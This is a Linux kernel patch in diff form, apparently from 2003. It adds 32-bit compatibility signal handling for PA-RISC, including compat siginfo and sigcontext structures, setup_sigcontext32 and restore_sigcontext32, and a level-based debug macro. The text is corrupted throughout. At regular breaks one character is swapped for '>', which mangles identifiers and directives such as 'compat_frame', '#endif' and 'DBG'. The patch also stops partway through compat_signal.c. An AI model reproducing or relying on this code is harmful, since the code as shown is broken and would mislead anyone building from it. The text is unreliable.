+		compat_val = sas_ss_flags(regs->gr[30]);		
+		err |= __put_user(c
>mpat_val, &compat_frame->uc.uc_stack.ss_flags);		
+		DBG(1,"setup_rt_frame: frame->uc = 0x%p\n", &compat_frame->uc);
+		DBG(1,"setup_rt_frame: frame->uc.uc_mcontext = 0x%p\n", &compat_frame->uc.uc_mcontext);
+		err |= setup_sigcontext32(&compat_fram
>->uc.uc_mcontext, regs, in_syscall);
+		sigset_64to32(&compat_set,set);
+		err |= __copy_to_user(&compat_frame->uc.uc_sigmask, &compat_set, sizeof(compat_set));
+	} else
+#endif
+	{	
+		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &frame->info);
>
+		err |= copy_siginfo_to_user(&frame->info, info);
+		err |= __put_user(current->sas_ss_sp, &frame->uc.uc_stack.ss_sp);
+		err |= __put_user(current->sas_ss_size, &frame->uc.uc_stack.ss_size);
+		err |= __put_user(sas_ss_flags(regs->gr[30]),
+			
>  &frame->uc.uc_stack.ss_flags);
+		DBG(1,"setup_rt_frame: frame->uc = 0x%p\n", &frame->uc);
+		DBG(1,"setup_rt_frame: frame->uc.uc_mcontext = 0x%p\n", &frame->uc.uc_mcontext);
+		err |= setup_sigcontext(&frame->uc.uc_mcontext, regs, in_syscall);
+
>	/* FIXME: Should probably be converted aswell for the compat case */
+		err |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set));
+	}
+	
 	if (err)
 		goto give_sigsegv;
 
@@ -315,8 +355,8 @@ setup_rt_frame(int sig, struct k_sigacti
 	{
>
 		int sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
-		DBG(("flushing 64 bytes at space %#x offset %p\n",
-		       sid, frame->tramp));
+		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
+		       sid, frame->tramp);
 	}
 #e
>dif
 
@@ -359,8 +399,8 @@ setup_rt_frame(int sig, struct k_sigacti
 		
 		haddr = fdesc.addr;
 		regs->gr[19] = fdesc.gp;
-		DBG(("64 bit signal, exe=%#lx, r19=%#lx, in_syscall=%d\n",
-		     haddr, regs->gr[19], in_syscall));
+		DBG(1,"setup_r
>_frame: 64 bit signal, exe=%#lx, r19=%#lx, in_syscall=%d\n",
+		     haddr, regs->gr[19], in_syscall);
 	}
 #endif
 
@@ -391,24 +431,33 @@ setup_rt_frame(int sig, struct k_sigacti
 
 	regs->gr[2]  = rp;                /* userland return pointer 
>/
 	regs->gr[26] = sig;               /* signal number */
-	regs->gr[25] = A(&frame->info); /* siginfo pointer */
-	regs->gr[24] = A(&frame->uc);   /* ucontext pointer */
 	
-	DBG(("making sigreturn frame: %#lx + %#x = %#lx\n",
+#ifdef __LP64__

>	if(personality(current->personality) == PER_LINUX32){
+		regs->gr[25] = A(&compat_frame->info); /* siginfo pointer */
+		regs->gr[24] = A(&compat_frame->uc);   /* ucontext pointer */
+	} else
+#endif
+	{		
+		regs->gr[25] = A(&frame->info); /* s
>ginfo pointer */
+		regs->gr[24] = A(&frame->uc);   /* ucontext pointer */
+	}
+	
+	DBG(1,"setup_rt_frame: making sigreturn frame: %#lx + %#lx = %#lx\n",
 	       regs->gr[30], sigframe_size,
-	       regs->gr[30] + sigframe_size));
+	       reg
>->gr[30] + sigframe_size);
 	/* Raise the user stack pointer to make a proper call frame. */
 	regs->gr[30] = (A(frame) + sigframe_size);
 
 
-	DBG(("SIG deliver (%s:%d): frame=0x%p sp=%#lx iaoq=%#lx/%#lx rp=%#lx\n",
+	DBG(1,"setup_rt_frame: sig 
>eliver (%s,%d) frame=0x%p sp=%#lx iaoq=%#lx/%#lx rp=%#lx\n",
 	       current->comm, current->pid, frame, regs->gr[30],
-	       regs->iaoq[0], regs->iaoq[1], rp));
+	       regs->iaoq[0], regs->iaoq[1], rp);
 
 	return 1;
 
 give_sigsegv:
-	DB
>(("setup_rt_frame sending SIGSEGV\n"));
+	DBG(1,"setup_rt_frame: sending SIGSEGV\n");
 	if (sig == SIGSEGV)
 		ka->sa.sa_handler = SIG_DFL;
 	si.si_signo = SIGSEGV;
@@ -431,8 +480,8 @@ handle_signal(unsigned long sig, siginfo
 {
 	struct k_sigac
>ion *ka = &current->sighand->action[sig-1];
 
-	DBG(("handle_signal(sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p)\n",
-	       sig, ka, info, oldset, regs));
+	DBG(1,"handle_signal: sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p\n",
+	       sig, ka, 
>nfo, oldset, regs);
 	
 	/* Set up the stack frame */
 	if (!setup_rt_frame(sig, ka, info, oldset, regs, in_syscall))
@@ -470,8 +519,8 @@ do_signal(sigset_t *oldset, struct pt_re
 	struct k_sigaction *ka;
 	int signr;
 
-	DBG(("do_signal(oldset
>0x%p, regs=0x%p, sr7 %#lx, pending %d, in_syscall=%d\n",
-	       oldset, regs, regs->sr[7], current->sigpending, in_syscall));
+	DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
+	       oldset, regs, regs->sr[7], in_syscall)
>
 
 	/* Everyone else checks to see if they are in kernel mode at
 	   this point and exits if that's the case.  I'm not sure why
@@ -481,12 +530,13 @@ do_signal(sigset_t *oldset, struct pt_re
 	if (!oldset)
 		oldset = &current->blocked;
 
-	D
>G(("do_signal: oldset %08lx:%08lx\n", 
-		oldset->sig[0], oldset->sig[1]));
+	DBG(1,"do_signal: oldset %08lx / %08lx\n", 
+		oldset->sig[0], oldset->sig[1]);
 
 
 	signr = get_signal_to_deliver(&info, regs, NULL);
-	/* printk("do_signal: signr =
>%d, regs->gr[28] = %ld\n", signr, regs->gr[28]); */
+	DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]);

+	
 	if (signr > 0) {
 		/* Restart a system call if necessary. */
 		if (in_syscall) {
@@ -495,14 +545,14 @@ do_sig
>al(sigset_t *oldset, struct pt_re
 		        case -ERESTART_RESTARTBLOCK:
 				current_thread_info()->restart_block.fn = do_no_restart_syscall;
 			case -ERESTARTNOHAND:
-				DBG(("ERESTARTNOHAND: returning -EINTR\n"));
+				DBG(1,"ERESTARTNOHAND:
>returning -EINTR\n");
 				regs->gr[28] = -EINTR;
 				break;
 
 			case -ERESTARTSYS:
 				ka = &current->sighand->action[signr-1];
 				if (!(ka->sa.sa_flags & SA_RESTART)) {
-					DBG(("ERESTARTSYS: putting -EINTR\n"));
+					DBG(1,"ERESTART
>YS: putting -EINTR\n");
 					regs->gr[28] = -EINTR;
 					break;
 				}
@@ -521,9 +571,8 @@ do_signal(sigset_t *oldset, struct pt_re
 		   delivery failed, we need to continue to iterate in
 		   this loop so we can deliver the SIGSEGV... */
 	
>if (handle_signal(signr, &info, oldset, regs, in_syscall)) {
-			DBG((KERN_DEBUG
-				"Exiting do_signal (success), regs->gr[28] = %ld\n",
-				regs->gr[28]));
+			DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
+				regs->gr[2
>]);
 			return 1;
 		}
 	}
@@ -577,8 +626,8 @@ do_signal(sigset_t *oldset, struct pt_re
 		}
 	}
 	
-	DBG(("Exiting do_signal (not delivered), regs->gr[28] = %ld\n", 
-		regs->gr[28]));
+	DBG(1,"do_signal: Exit (not delivered), regs->gr[28] =
>%ld\n", 
+		regs->gr[28]);
 
 	return 0;
 }
--- arch/parisc/kernel/signal32.c	29 Jul 2003 17:00:41 -0000	1.1
+++ arch/parisc/kernel/signal32.c	3 Dec 2003 06:49:32 -0000
@@ -10,20 +10,32 @@
 #include <linux/types.h>
 #include <linux/errno.h>
 
>
+#include <asm/compat_signal.h>
 #include <asm/uaccess.h>
+
+#include "signal32.h"
 #include "sys32.h"
 
-struct k_sigaction32 {
-	struct sigaction32 sa;
-};
+#define DEBUG_COMPAT_SIG 0 
+#define DEBUG_COMPAT_SIG_LEVEL 2
+
+#if DEBUG_COMPA
>_SIG
+#define DBG(LEVEL, ...) \
+	((DEBUG_COMPAT_SIG_LEVEL >= LEVEL) \
+	? printk(__VA_ARGS__) : (void) 0)
+#else
+#define DBG(LEVEL, ...)
+#endif
 
-static inline void
+#define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP)))
+
+inline v
>id
 sigset_32to64(sigset_t *s64, compat_sigset_t *s32)
 {
 	s64->sig[0] = s32->sig[0] | ((unsigned long)s32->sig[1] << 32);
 }
 
-static inline void
+inline void
 sigset_64to32(compat_sigset_t *s32, sigset_t *s64)
 {
 	s32->sig[0] = s64->sig[
>] & 0xffffffffUL;
@@ -120,16 +132,10 @@ sys32_rt_sigaction(int sig, const struct
 	return ret;
 }
 
-typedef struct {
-	unsigned int ss_sp;
-	int ss_flags;
-	compat_size_t ss_size;
-} stack_t32;
-
 int 
-do_sigaltstack32 (const stack_t32 *u
>s32, stack_t32 *uoss32, unsigned long sp)
+do_sigaltstack32 (const compat_stack_t *uss32, compat_stack_t *uoss32, unsigned
long sp)
 {
-	stack_t32 ss32, oss32;
+	compat_stack_t ss32, oss32;
 	stack_t ss, oss;
 	stack_t *ssp = NULL, *ossp = NULL;

> 	int ret;
@@ -159,4 +165,128 @@ do_sigaltstack32 (const stack_t32 *uss32
 	}
 
 	return ret;
+}
+
+long
+restore_sigcontext32(struct compat_sigcontext *sc, struct pt_regs *regs)
+{
+	long err = 0;
+	compat_int_t compat_reg;
+	int regn;
+	
>
+	/* When loading 32-bit values into 64-bit registers make
+	   sure to clear the upper 32-bits */
+	DBG(2,"restore_sigcontext32: PER_LINUX32 process\n");
+	DBG(2,"restore_sigcontext32: sc = 0x%p, regs = 0x%p\n",sc,regs);
+	DBG(2,"restore_sigconte
>t32: compat_sigcontext is %#lx bytes\n", sizeof(*sc));
+	for(regn=0; regn < 32; regn++){
+		err |= __get_user(compat_reg,&sc->sc_gr[regn]);
+		regs->gr[regn] = compat_reg;
+	}
+	DBG(2,"restore_sigcontext32: sc->sc_fr = 0x%p\n",sc->sc_fr);
+	/* XX
>: BE WARNED FR's are 64-BIT! */
+	err |= __copy_from_user(regs->fr, sc->sc_fr, sizeof(regs->fr));
+		
+	/* Better safe than sorry, pass __get_user two things of
+	   the same size and let gcc do the upward conversion to 
+	   64-bits */		
+	err |
> __get_user(compat_reg, &sc->sc_iaoq[0]);
+	DBG(2,"restore_sigcontext32: sc->sc_iaoq[0] = %p => %#x\n",
+				&sc->sc_iaoq[0],compat_reg);
+	regs->iaoq[0] = compat_reg;
+	err |= __get_user(compat_reg, &sc->sc_iaoq[1]);
+	DBG(2,"restore_sigcontext32
> sc->sc_iaoq[1] = %p => %#x\n",
+				&sc->sc_iaoq[1],compat_reg);
+	regs->iaoq[1] = compat_reg;
+	DBG(2,"restore_sigcontext32: iaoq is %#lx / %#lx\n", 
+		regs->iaoq[0],regs->iaoq[1]);		
+	
+	err |= __get_user(compat_reg, &sc->sc_iasq[0]);
+	reg
>->iasq[0] = compat_reg;
+	err |= __get_user(compat_reg, &sc->sc_iasq[1]);
+	regs->iasq[1] = compat_reg;
+	DBG(2,"restore_sigcontext32: iasq is %#lx / %#lx\n", 
+		regs->iasq[0],regs->iasq[1]);		
+
+	err |= __get_user(compat_reg, &sc->sc_sar);
+	
>egs->sar = compat_reg;
+	
+	DBG(2,"restore_sigcontext32: r28 is %ld\n", regs->gr[28]);
+	return err;
+}
+
+/*
+ * Set up the sigcontext structure for this process.
+ * This is not an easy task if the kernel is 64-bit, it will require
+ * that 
>e examine the process personality to determine if we need to
+ * truncate for a 32-bit userspace.
+ */
+long
+setup_sigcontext32(struct compat_sigcontext *sc, struct pt_regs *regs, int
in_syscall)
+		 
+{
+	compat_int_t flags = 0;
+	long err = 
>;
+	compat_int_t compat_reg;
+	int regn;
+	
+	if (on_sig_stack((unsigned long) sc))
+		flags |= PARISC_SC_FLAG_ONSTACK;
+	
+	if (in_syscall) {
+		DBG(1,"setup_sigcontext32: in_syscall\n");
+		flags |= PARISC_SC_FLAG_IN_SYSCALL;
+		/* Truncate
>gr31 */
+		compat_reg = (compat_int_t)(regs->gr[31]);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[0] = %p <= %#x\n",
+				&sc->sc_iaoq[0],compat_reg);
+		/* regs->iaoq is undefined in the syscall return path */
+		err |= __put_user(compat_reg, &sc->
>c_iaoq[0]);
+		compat_reg = (compat_int_t)(regs->gr[31]+4);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[1] = %p <= %#x\n",
+				&sc->sc_iaoq[1],compat_reg);
+		err |= __put_user(compat_reg, &sc->sc_iaoq[1]);
+		/* Truncate sr3 */
+		compat_reg = (c
>mpat_int_t)(regs->sr[3]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[0]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[1]);		
+		
+		DBG(1,"setup_sigcontext32: iaoq %#lx / %#lx\n",
+			regs->gr[31], regs->gr[31]+4);
+	} else {
+		compat_reg 
> (compat_int_t)(regs->iaoq[0]);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[0] = %p <= %#x\n",
+				&sc->sc_iaoq[0],compat_reg);
+		err |= __put_user(compat_reg, &sc->sc_iaoq[0]);
+		compat_reg = (compat_int_t)(regs->iaoq[1]);
+		DBG(2,"setup_sigcon
>ext32: sc->sc_iaoq[1] = %p <= %#x\n",
+				&sc->sc_iaoq[1],compat_reg);
+		err |= __put_user(compat_reg, &sc->sc_iaoq[1]);
+		
+		compat_reg = (compat_int_t)(regs->iasq[0]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[0]);
+		compat_reg = (comp
>t_int_t)(regs->iasq[1]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[1]);
+		
+		DBG(1,"setup_sigcontext32: iaoq %#lx / %#lx\n", 
+			regs->iaoq[0], regs->iaoq[1]);
+	}
+
+	err |= __put_user(flags, &sc->sc_flags);
+	
+	DBG(1,"setup_sigcontex
>32: Truncating.\n");
+	for(regn=0; regn < 32; regn++){
+		/* Truncate a general register */
+		compat_reg = (compat_int_t)(regs->gr[regn]);
+		err |= __put_user(compat_reg, &sc->sc_gr[regn]);
+	}
+	/* Copy the floating point registers (same size)
> */
+	/* XXX: BE WARNED FR's are 64-BIT! */
+	err |= __copy_to_user(sc->sc_fr, regs->fr, sizeof(regs->fr));
+	compat_reg = (compat_int_t)(regs->sar);
+	err |= __put_user(compat_reg, &sc->sc_sar);
+
+	DBG(1,"setup_sigcontext32: r28 is %ld\n", regs
>>gr[28]);
+
+	return err;
 }
--- include/asm-parisc/compat.h	28 Oct 2003 06:55:24 -0000	1.2
+++ include/asm-parisc/compat.h	3 Dec 2003 06:49:35 -0000
@@ -24,6 +24,7 @@ typedef u16	compat_nlink_t;
 typedef u16	compat_ipc_pid_t;
 typedef s32	comp
>t_daddr_t;
 typedef u32	compat_caddr_t;
+typedef u32	compat_timer_t;
 
 typedef s32	compat_int_t;
 typedef s32	compat_long_t;
@@ -99,6 +100,15 @@ struct compat_statfs {
 	s32		f_namelen;
 	s32		f_frsize;
 	s32		f_spare[5];
+};
+
+struct com
>at_sigcontext {
+	compat_int_t sc_flags;
+	compat_int_t sc_gr[32]; /* PSW in sc_gr[0] */
+	u64 sc_fr[32]; /* FIXME, do we need other state info? */
+	compat_int_t sc_iasq[2];
+	compat_int_t sc_iaoq[2];
+	compat_int_t sc_sar; /* cr11 */
 };
 
 
>define COMPAT_RLIM_INFINITY 0xffffffff
--- include/asm-parisc/rt_sigframe.h	24 Sep 2003 17:54:31 -0000	1.2
+++ include/asm-parisc/rt_sigframe.h	3 Dec 2003 06:49:35 -0000
@@ -1,22 +1,13 @@
 #ifndef _ASM_PARISC_RT_SIGFRAME_H
 #define _ASM_PARISC_RT_
>IGFRAME_H
 
+#include <asm/compat_rt_sigframe.h>
+
 struct rt_sigframe {
 	unsigned int tramp[4];
 	struct siginfo info;
 	struct ucontext uc;
 };
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for 
>rg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAM
>32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
 
 #ifdef __LP64__
 #define	SIGFRAME		128
--- include/asm-parisc/siginfo.h	29 Jul 2003 17:02:04 -0000	1.1
+++ incl
>de/asm-parisc/siginfo.h	3 Dec 2003 06:49:35 -0000
@@ -1,8 +1,6 @@
 #ifndef _PARISC_SIGINFO_H
 #define _PARISC_SIGINFO_H
 
-#define HAVE_ARCH_COPY_SIGINFO_TO_USER
-
 #include <asm-generic/siginfo.h>
 
 /*
--- include/asm-parisc/ucontext.h	29 J
>l 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/ucontext.h	3 Dec 2003 06:49:35 -0000
@@ -1,12 +1,12 @@
-#ifndef _ASMPARISC_UCONTEXT_H
-#define _ASMPARISC_UCONTEXT_H
+#ifndef _ASM_PARISC_UCONTEXT_H
+#define _ASM_PARISC_UCONTEXT_H
 
 struct ucon
>ext {
-	unsigned long	  uc_flags;
+	unsigned int	  uc_flags;
 	struct ucontext  *uc_link;
 	stack_t		  uc_stack;
 	struct sigcontext uc_mcontext;
 	sigset_t	  uc_sigmask;	/* mask last for extensibility */
 };
 
-#endif /* !_ASMPARISC_UCONTEXT_
> */
+#endif /* !_ASM_PARISC_UCONTEXT_H */
--- kernel/Makefile	8 Oct 2003 20:53:06 -0000	1.6
+++ kernel/Makefile	3 Dec 2003 06:49:35 -0000
@@ -5,7 +5,7 @@
 obj-y     = sched.o fork.o exec_domain.o panic.o printk.o profile.o \
 	    exit.o itimer.o
>time.o softirq.o resource.o \
 	    sysctl.o capability.o ptrace.o timer.o user.o \
-	    signal.o sys.o kmod.o workqueue.o pid.o \
+	    compat_signal.o signal.o sys.o kmod.o workqueue.o pid.o \
 	    rcupdate.o intermodule.o extable.o params.o po
>ix-timers.o
 
 obj-$(CONFIG_FUTEX) += futex.o
--- kernel/signal.c	24 Nov 2003 03:16:26 -0000	1.8
+++ kernel/signal.c	3 Dec 2003 06:49:35 -0000
@@ -24,9 +24,11 @@
 #include <linux/binfmts.h>
 #include <linux/security.h>
 #include <linux/ptrace.h
>
+#include <linux/personality.h>
 #include <asm/param.h>
 #include <asm/uaccess.h>
 #include <asm/siginfo.h>
+#include <asm/compat_siginfo.h>
 
 /*
  * SLAB caches for signal bits.
@@ -2006,6 +2008,12 @@ int copy_siginfo_to_user(siginfo_t __us
>
 	if (from->si_code < 0)
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
+
+	/* Use compat_siginfo_t with 32-bit signals */
+	if(personality(current->personality) == PER_LINUX32){
+		return compat_copy_siginfo_to_user((
>ompat_siginfo_t __user *)to,from);
+	}
+	
 	/*
 	 * If you change siginfo_t structure, please be sure
 	 * this code is fixed accordingly.
--- arch/parisc/kernel/signal32.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ arch/parisc/kernel/signal32
>h	2003-11-28 15:18:40.000000000 -0500
@@ -0,0 +1,22 @@
+#ifndef _PARISC64_KERNEL_SIGNAL32_H
+#define _PARISC64_KERNEL_SIGNAL32_H
+
+#include <linux/compat.h>
+#include <asm/compat_signal.h>
+
+/* ELF32 signal handling */
+
+struct k_sigaction
>2 {
+	struct compat_sigaction sa;
+};
+
+void sigset_32to64(sigset_t *s64, compat_sigset_t *s32);
+void sigset_64to32(compat_sigset_t *s32, sigset_t *s64);
+int do_sigaltstack32 (const compat_stack_t *uss32, 
+		compat_stack_t *uoss32, unsigned 
>ong sp);
+long restore_sigcontext32(struct compat_sigcontext *sc, 
+		struct pt_regs *regs);
+long setup_sigcontext32(struct compat_sigcontext *sc, 
+		struct pt_regs *regs, int in_syscall);
+
+#endif
--- include/asm-generic/compat_siginfo.h.ori
>	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-generic/compat_siginfo.h	2003-11-28 07:49:19.000000000 -0500
@@ -0,0 +1,154 @@
+#include <linux/compiler.h>
+#include <linux/types.h>
+#include <linux/compat.h>
+
+#ifndef _ASM_GENERIC_COMPAT_
>IGINFO_H
+#define _ASM_GENERIC_COMPAT_SIGINFO_H
+
+/* compat view of sigval_t */
+typedef union compat_sigval {
+	compat_int_t sival_int;
+	compat_uptr_t sival_ptr;
+} compat_sigval_t;
+
+/*
+ * This is the size (including padding) of the par
> of the
+ * struct siginfo that is before the union.
+ */
+#ifndef __ARCH_SI_COMPAT_PREAMBLE_SIZE
+#define __ARCH_SI_COMPAT_PREAMBLE_SIZE	(3 * sizeof(int))
+#endif
+
+#define SI_COMPAT_MAX_SIZE	128
+#ifndef SI_COMPAT_PAD_SIZE
+#define SI_COMPA
>_PAD_SIZE	((SI_COMPAT_MAX_SIZE - __ARCH_SI_COMPAT_PREAMBLE_SIZE) / sizeof(int))
+#endif
+
+/* ELF32 view of si.uid_t */
+#ifndef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T compat_uid_t
+#endif
+
+/* ELF32 view of si.band_t */
+#ifn
>ef __ARCH_SI_COMPAT_BAND_T
+#define __ARCH_SI_COMPAT_BAND_T compat_int_t
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGINFO_T
+
+/* Compat (ELF32) view of siginfo_t */
+typedef struct compat_siginfo {
+	compat_int_t si_signo;
+	compat_int_t si_errno;
>
+	compat_int_t si_code;
+
+	union {
+		compat_int_t _pad[SI_COMPAT_PAD_SIZE];
+
+		/* kill() */
+		struct {
+			compat_pid_t _pid;	/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+		} _kill;
+
+		/* POSIX.1b timers */
>
+		struct {
+			compat_timer_t _tid;	/* timer id */
+			compat_int_t _overrun;		/* overrun count */
+			char _pad[sizeof( __ARCH_SI_UID_T) - sizeof(int)];
+			compat_sigval_t _sigval;	/* same as below */
+			compat_int_t _sys_private;       /* no
> to be passed to user */
+		} _timer;
+
+		/* POSIX.1b signals */
+		struct {
+			compat_pid_t _pid;		/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_sigval_t _sigval;
+		} _rt;
+
+		/* SIGCHLD */
+		struct 
>
+			compat_pid_t _pid;		/* which child */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_int_t _status;		/* exit code */
+			compat_clock_t _utime;
+			compat_clock_t _stime;
+		} _sigchld;
+
+		/* SIGILL, SIGFPE, SIGSEGV, SIGB
>S */
+		struct {
+			compat_uptr_t _addr; /* faulting insn/memory ref. */
+#ifdef __ARCH_SI_TRAPNO
+			compat_int_t _trapno;	/* TRAP # which caused the signal */
+#endif
+		} _sigfault;
+
+		/* SIGPOLL */
+		struct {
+			__ARCH_SI_COMPAT_BAND
>T _band;	/* POLL_IN, POLL_OUT, POLL_MSG */
+			compat_int_t _fd;
+		} _sigpoll;
+	} _sifields;
+} compat_siginfo_t;
+#endif
+
+/*
+ * sigevent definitions
+ * 
+ * It seems likely that SIGEV_THREAD will have to be handled from 
+ * userspace
> libpthread transmuting it to SIGEV_SIGNAL, which the
+ * thread manager then catches and does the appropriate nonsense.
+ * However, everything is written out here so as to not get lost.
+ */
+
+#define SIGEV_COMPAT_MAX_SIZE	64
+#ifndef SIGEV_CO
>PAT_PAD_SIZE
+#define SIGEV_COMPAT_PAD_SIZE	((SIGEV_COMPAT_MAX_SIZE/sizeof(int)) - 3)
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGEVENT_T
+
+/* ELF32 view of sigevent_t */
+typedef struct compat_sigevent {
+	compat_sigval_t sigev_value;
+	compat_in
>_t sigev_signo;
+	compat_int_t sigev_notify;
+	union {
+		compat_int_t _pad[SIGEV_COMPAT_PAD_SIZE];
+		compat_int_t _tid;
+
+		struct {
+			compat_uptr_t _function;
+			compat_uptr_t _attribute;	/* really pthread_attr_t */
+		} _sigev_thread;

>+	} _sigev_un;
+} compat_sigevent_t;
+
+#endif
+
+#ifdef __KERNEL__
+
+struct compat_siginfo;
+/*void do_schedule_next_timer(struct siginfo *info);*/
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO
+
+#include <linux/string.h>
+
+static inline v
>id compat_copy_siginfo(struct compat_siginfo *to, struct compat_siginfo
*from)
+{
+	if (from->si_code < 0)
+		memcpy(to, from, sizeof(*to));
+	else
+		/* _sigchld is currently the largest know union member */
+		memcpy(to, from, __ARCH_SI_COMPAT_
>REAMBLE_SIZE + sizeof(from->_sifields._sigchld));
+}
+
+#endif
+
+extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct
siginfo *from);
+
+#endif /* __KERNEL__ */
+
+#endif
--- include/asm-generic/compat_signal.h.orig	196
>-12-31 19:00:00.000000000 -0500
+++ include/asm-generic/compat_signal.h	2003-12-02 23:01:44.000000000 -0500
@@ -0,0 +1,28 @@
+#ifndef _ASM_GENERIC_COMPAT_SIGNAL_H
+#define _ASM_GENERIC_COMPAT_SIGNAL_H
+
+# ifndef __ASSEMBLY__
+#  include <linux/
>ypes.h>
+
+typedef compat_uptr_t compat_sighandler_t;
+
+typedef struct compat_sigaltstack {
+	compat_uptr_t ss_sp;
+	compat_int_t ss_flags;
+	compat_size_t ss_size;
+} compat_stack_t;
+
+#  ifdef __KERNEL__
+
+/* Most things should be clea
> enough to redefine this at will, if care
+   is taken to make libc match.  */
+
+struct compat_sigaction {
+	compat_sighandler_t sa_handler;
+	compat_uint_t sa_flags;
+	compat_sigset_t sa_mask;		/* mask last for extensibility */
+};
+
+#  end
>f /* __KERNEL__ */
+# endif /* !__ASSEMBLY */
+#endif /* _ASM_GENERIC_COMPAT_SIGNAL_H */
--- include/asm-parisc/compat_rt_sigframe.h.orig	1969-12-31 19:00:00.000000000
-0500
+++ include/asm-parisc/compat_rt_sigframe.h	2003-12-02 23:11:20.000000000

>0500
@@ -0,0 +1,25 @@
+#include<linux/compat.h>
+#include<asm/compat_siginfo.h>
+#include<asm/compat_ucontext.h>
+
+#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
+#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
+
+struct compat_rt_sigframe {
+	compat_uin
>_t tramp[4];
+	compat_siginfo_t info;
+	struct compat_ucontext uc;
+};
+
+/*
+ * The 32-bit ABI wants at least 48 bytes for a function call frame:
+ * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
+ * which Linux/parisc uses 
>s sp-20 for the saved return pointer...)
+ * Then, the stack pointer must be rounded to a cache line (64 bytes).
+ */
+#define SIGFRAME32		64
+#define FUNCTIONCALLFRAME32	48
+#define PARISC_RT_SIGFRAME_SIZE32					\
+	(((sizeof(struct compat_rt_si
>frame) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
+
+#endif
--- include/asm-parisc/compat_siginfo.h.orig	1969-12-31 19:00:00.000000000
-0500
+++ include/asm-parisc/compat_siginfo.h	2003-11-21 06:11:59.000000000 -0500
@@ -0,0 +1,2 @@
+/* 
>e use the generic compat struct */
+#include <asm-generic/compat_siginfo.h>
--- include/asm-parisc/compat_signal.h.orig	1969-12-31 19:00:00.000000000
-0500
+++ include/asm-parisc/compat_signal.h	2003-11-28 06:22:13.000000000 -0500
@@ -0,0 +1,2 @@

>/* Use generic */
+#include <asm-generic/compat_signal.h>
--- include/asm-parisc/compat_ucontext.h.orig	1969-12-31 19:00:00.000000000
-0500
+++ include/asm-parisc/compat_ucontext.h	2003-12-02 23:45:17.000000000 -0500
@@ -0,0 +1,19 @@
+#ifndef _ASM
>PARISC_COMPAT_UCONTEXT_H
+#define _ASM_PARISC_COMPAT_UCONTEXT_H
+
+#include<linux/compat.h>
+#include<asm/compat_signal.h>
+
+/* ELF32 ucontext as seen from an ELF64 kernel */
+struct compat_ucontext {
+	compat_uint_t uc_flags;
+	compat_uptr_t
>uc_link;
+	compat_stack_t uc_stack;	/* struct compat_sigaltstack */
+	
+	compat_uint_t pad[1];		/*FIXME: ELF32 structure is padded */
+	
+	struct compat_sigcontext uc_mcontext;
+	compat_sigset_t uc_sigmask;	/* mask last for extensibility */
+};

>+
+#endif /* !_ASM_PARISC_COMPAT_UCONTEXT_H */
--- kernel/compat_signal.c.orig	1969-12-31 19:00:00.000000000 -0500
+++ kernel/compat_signal.c	2003-12-02 23:18:13.000000000 -0500
@@ -0,0 +1,126 @@
+/*
+ *  Copyright (C) 2003 Carlos O'Donell
+ * 

>+ *  2003-12-20  Carlos O'Donell
+ *              Copied linux/kernel/compat_signal.c (copy_siginfo_to_user)
+ *              and modified to use compat_siginfo_t for thunking down to
+ *              32-bit userspace with an ELF64 kernel.
+ *     
>        
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or (at
+ * your option) an
> later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ * NON INFRINGEMENT.
> See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 0
>139, USA.
+ *
+ */
+
+/*#define __KERNEL_SYSCALLS__*/
+
+#include <asm/errno.h>
+#include <asm/compat_siginfo.h>
+#include <asm/uaccess.h>
+#include <asm/siginfo.h>
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO_TO_USER
+
+int compat_copy_siginf
